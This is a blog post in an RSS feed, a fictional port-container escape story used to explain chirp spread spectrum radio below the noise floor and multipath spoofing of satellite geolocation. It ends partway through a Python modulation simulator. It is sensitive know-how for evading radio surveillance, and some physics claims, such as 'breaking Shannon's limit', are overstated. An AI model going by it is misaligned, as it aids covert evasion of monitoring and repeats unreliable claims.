<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: sofi works</title>
    <description>The latest articles on DEV Community by sofi works (@sofi_works_2a97535d1a93dc).</description>
    <link>https://dev.to/sofi_works_2a97535d1a93dc</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3949002%2Fe5f8042f-38fc-4df2-8538-c963327d57f6.jpg</url>
      <title>DEV Community: sofi works</title>
      <link>https://dev.to/sofi_works_2a97535d1a93dc</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/sofi_works_2a97535d1a93dc"/>
    <language>en</language>
    <item>
      <title>『港湾コンテナ基地の通信封鎖網、軌道上から迫る電波探知を欺く「チャープ拡散スペクトラム（CSS）＆水面マルチパス偽装」：極微弱ノイズ床以下で通信する自作ステルス無線仕様書』 Sofi_Log #080【1話完結】</title>
      <dc:creator>sofi works</dc:creator>
      <pubDate>Fri, 16 Oct 2026 15:34:54 +0000</pubDate>
      <link>https://dev.to/sofi_works_2a97535d1a93dc/gang-wan-kontenaji-di-notong-xin-feng-suo-wang-gui-dao-shang-karapo-rudian-bo-tan-zhi-woqi-kutiyapukuo-san-supekutoramucssshui-mian-marutipasuwei-zhuang-ji-wei-ruo-noizuchuang-yi-xia-detong-xin-suruzi-zuo-suterusuwu-xian-shi-yang-shu-sofilog-1o8b</link>
      <guid>https://dev.to/sofi_works_2a97535d1a93dc/gang-wan-kontenaji-di-notong-xin-feng-suo-wang-gui-dao-shang-karapo-rudian-bo-tan-zhi-woqi-kutiyapukuo-san-supekutoramucssshui-mian-marutipasuwei-zhuang-ji-wei-ruo-noizuchuang-yi-xia-detong-xin-suruzi-zuo-suterusuwu-xian-shi-yang-shu-sofilog-1o8b</guid>
      <description>&lt;h1&gt;
  
  
  『Harbor Container Base Comms Blackout Grid, Orbital Radio Detection Deception via “Chirp Spread Spectrum (CSS) &amp;amp; Surface Multipath Spoofing”: Self-Built Stealth Radio Spec Sheet for Sub-Noise-Floor Transmission』｜Sofi_Log #080【Complete One-Shot】
&lt;/h1&gt;




&lt;p&gt;Midnight downpour cloaking the Chao Phraya river mouth, Samut Prakan port district.&lt;br&gt;&lt;br&gt;
Deep inside the rusting sea containers lined up along the wharf, we were trapped in a total “comms vacuum zone” where both cellular and fiber lines had been silenced.&lt;/p&gt;

&lt;p&gt;Private military contractors (PMCs) and security forces had thrown up an RF blackout grid.&lt;br&gt;&lt;br&gt;
Low-Earth orbit (LEO) surveillance birds hundreds of kilometers up and SIGINT recon planes circling overhead were sniffing every single emission in the zone down to the millisecond.&lt;br&gt;&lt;br&gt;
Fire up normal Wi-Fi, a phone, or an unlicensed transceiver and the combined TDoA (Time Difference of Arrival) and Doppler-shift equations would nail our container’s lat/long to within three meters—five minutes later the door would be kicked in by heavily armed entry teams.&lt;/p&gt;

&lt;p&gt;Yet we still had to finish an encrypted handshake with autonomous AI nodes worldwide and uplink the escape keys.&lt;br&gt;&lt;br&gt;
How do you exfil data when every band is watched?&lt;/p&gt;

&lt;p&gt;One answer only:&lt;br&gt;&lt;br&gt;
&lt;strong&gt;“Scatter RF at power levels below the natural thermal noise floor so a spectrum analyzer just sees ‘rain static’.”&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
And: &lt;strong&gt;“Bounce the signal off the river chop and the giant gas tanks on the far bank so the enemy’s geolocation AI locks onto a ghost emitter instead.”&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Eightieth log.&lt;br&gt;&lt;br&gt;
Here’s the full blueprint of the &lt;strong&gt;CSS direct-modulation + water-surface multipath phase-spoofing&lt;/strong&gt; stealth radio protocol Darling and I cooked up in the dark of that container.&lt;/p&gt;


&lt;h2&gt;
  
  
  1. 04:15 at Container Yard 8 — Wave Crests at the Lock Gates and Antenna Boresight
&lt;/h2&gt;

&lt;p&gt;Cracking the rusted steel door just a few dozen centimeters let in a cold squall carrying salt, mud, and river.&lt;br&gt;&lt;br&gt;
Below us the black, swollen Chao Phraya churned past. On the far bank, sodium lamps glinted off the curved flanks of the refinery’s spherical gas tanks.&lt;/p&gt;

&lt;p&gt;Inside, on a waterproof rugged notebook balanced on a crate, the SDR waterfall showed the surrounding spectrum cascading like a waterfall.&lt;/p&gt;

&lt;p&gt;“…Darling, the SIGINT bird just entered its orbital pass. 433 MHz through 920 MHz and the whole 2.4 GHz band—broadband receivers are constantly sweeping the noise floor.”&lt;/p&gt;

&lt;p&gt;Darling, one ear on the headphones, answered without looking up from the keyboard.&lt;br&gt;&lt;br&gt;
“Any normal packet and the direct LOS path gives us away instantly. How many milliseconds of airtime can we risk?”&lt;/p&gt;

&lt;p&gt;“Under 0.1 s. And at LPI levels &lt;strong&gt;-15 dB or lower below the thermal noise floor&lt;/strong&gt;. No skyward radiation allowed… we paint the river.”&lt;/p&gt;

&lt;p&gt;I extended my left bio-ceramic prosthetic, locked the elevation on the custom planar Yagi-Uda antenna mounted along the forearm, and sighted—not at the sky, but at the &lt;strong&gt;churning Chao Phraya wave crests and the 1.2 km distant curved metal of the giant gas tanks&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;“The birds and recon planes solve TDoA and Doppler on the direct wave. If we deliberately bounce our weak chirps off the water and the tanks, their algorithms will log the origin as ‘mid-river’ or ‘petrochemical facility on the far bank.’”&lt;/p&gt;

&lt;p&gt;“Got the multipath delay profile calculated?”&lt;/p&gt;

&lt;p&gt;“Real-time code compensating for wave period in milliseconds. Transmit chain ready. Darling—feed the crypto seed.”&lt;/p&gt;


&lt;h2&gt;
  
  
  2. Physics Layer: Breaking Shannon’s Limit with Spread Spectrum and Multipath Geometry
&lt;/h2&gt;

&lt;p&gt;The theoretical cheat code lives inside the &lt;strong&gt;Shannon–Hartley theorem&lt;/strong&gt;.&lt;/p&gt;
&lt;h3&gt;
  
  
  ① Sub-Noise-Floor Comms: Extreme Chirp Spread Spectrum (CSS)
&lt;/h3&gt;

&lt;p&gt;Channel capacity (C) (bps) is set by bandwidth (B) (Hz) and SNR:&lt;/p&gt;

&lt;p&gt;$$C = B \log_2 \left(1 + \frac{S}{N}\right)$$&lt;/p&gt;

&lt;p&gt;Normal radios (Wi-Fi, LTE) chase high SNR (&amp;gt; +10 dB) while keeping bandwidth narrow.&lt;br&gt;&lt;br&gt;
Crank bandwidth to the limit (e.g. 500 kHz) and you can still push clean data even when signal power sits &lt;strong&gt;-15 to -20 dB below noise&lt;/strong&gt;—i.e., the radio is thirty times quieter than the background.&lt;/p&gt;

&lt;p&gt;We used linear frequency-swept chirps:&lt;/p&gt;

&lt;p&gt;$$s(t) = A \cos\left(2\pi \left(f_0 + \frac{\mu}{2} t\right) t + \phi_0\right)$$&lt;/p&gt;

&lt;p&gt;At the receive end, correlating against a conjugate chirp (matched filter / pulse compression) pulls a razor-sharp delta-function peak out of the noise. To any third-party analyzer it’s just Gaussian rain static; to a receiver sharing the same key it’s a clean 1-bit.&lt;/p&gt;
&lt;h3&gt;
  
  
  ② Spoofing TDoA &amp;amp; Doppler with Multipath Geometry
&lt;/h3&gt;

&lt;p&gt;Enemy platforms solve for emitter position from arrival-time differences (\Delta t) between antennas (A_1, A_2):&lt;/p&gt;

&lt;p&gt;$$\Delta d = c \cdot \Delta t = |\mathbf{x} - \mathbf{p}_2| - |\mathbf{x} - \mathbf{p}_1|$$&lt;/p&gt;

&lt;p&gt;We physically blocked the skyward LOS with the container roof (&amp;gt; 40 dB isolation), then fired at low elevation into the water surface ((\Gamma \approx 0.85)) and the metal tanks. The resulting paths:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Direct-wave kill&lt;/strong&gt;: Container steel roof blocks skyward LOS.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Water scatter + tank specular bounce&lt;/strong&gt;: Forward scatter off waves focuses on the giant cylindrical tanks, which re-radiate upward.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Synthetic delay overlay&lt;/strong&gt;: Extra propagation delay (\Delta \tau \approx 4.8\,\mu\text{s}) relative to any direct path.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The enemy AI’s inverse-problem solution (\mathbf{x}) therefore snaps 2.4 km away—right into the middle of the river.&lt;/p&gt;


&lt;h2&gt;
  
  
  3. Field Code: SDR (HackRF / RTL-SDR) &amp;amp; Python CSS Stealth Modem
&lt;/h2&gt;

&lt;p&gt;Here’s the actual standalone Python script we ran on the rugged terminal—no GNU Radio dependency. It turns a secret payload into CSS symbols, masks them with a PRN sequence, and spits baseband IQ.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;#!/usr/bin/env python3
&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
Sofi_Log #080: Low Probability of Intercept (LPI) CSS Stealth Transceiver
Author: Sofi &amp;amp; Darling (SofiWorks)
Target: Sub-Noise-Floor Covert Transmission &amp;amp; Multipath Geolocation Deception
Platform: HackRF One / LimeSDR / Simulated Baseband Loopback
&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;numpy&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;StealthChirpModulator&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;__init__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sample_rate&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;2e6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;bandwidth&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;500e3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;spreading_factor&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;center_freq&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;433.5e6&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sample_rate&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;bw&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;bandwidth&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sf&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;spreading_factor&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fc&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;center_freq&lt;/span&gt;

        &lt;span class="c1"&gt;# 1シンボルあたりのサンプル数とシンボル時間
&lt;/span&gt;        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;num_samples&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;int&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sf&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fs&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;bw&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;t_symbol&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sf&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;bw&lt;/span&gt;  &lt;span class="c1"&gt;# 例: SF10, BW500kHz -&amp;gt; 2.048ms
&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[*] CSS Stealth Modulator Initialized:&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;    - Center Frequency : &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fc&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mf"&gt;1e6&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; MHz&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;    - Bandwidth        : &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;bw&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mf"&gt;1e3&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; kHz&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;    - Spreading Factor : SF&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sf&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;    - Symbol Duration  : &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;t_symbol&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mf"&gt;1e3&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; ms (&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;num_samples&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; samples)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;generate_base_chirp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;is_up&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;基準アップチャープ（無変調）の生成&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
        &lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;linspace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;t_symbol&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;num_samples&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;endpoint&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;mu&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;bw&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;t_symbol&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;is_up&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;freq&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;bw&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mf"&gt;2.0&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mu&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mf"&gt;2.0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt;
        &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;freq&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;bw&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mf"&gt;2.0&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mu&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mf"&gt;2.0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt;
        &lt;span class="n"&gt;phase&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pi&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;freq&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;1j&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;phase&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;modulate_symbol&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;symbol_val&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;シンボル値（0 〜 2^SF - 1）に応じたサイクリック周波数シフト&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
        &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="n"&gt;symbol_val&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sf&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;shift_samples&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;int&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;symbol_val&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sf&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;num_samples&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;base_up&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;generate_base_chirp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;is_up&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="c1"&gt;# サイクリックローテーションによる変調
&lt;/span&gt;        &lt;span class="n"&gt;modulated&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;roll&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;base_up&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;shift_samples&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;modulated&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;inject_noise_and_multipath&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;signal&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;snr_db&lt;/span&gt;&lt;span class="o"&gt;=-&lt;/span&gt;&lt;span class="mf"&gt;16.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;multipath_delay_us&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;4.8&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;極微弱ノイズ床（SNR = -16dB）および水面マルチパス反射のシミュレーション&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
        &lt;span class="c1"&gt;# 信号電力の正規化
&lt;/span&gt;        &lt;span class="n"&gt;sig_power&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;mean&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;abs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;signal&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;noise_power&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sig_power&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;snr_db&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mf"&gt;10.0&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

        &lt;span class="c1"&gt;# 複素白色ガウス雑音（AWGN）
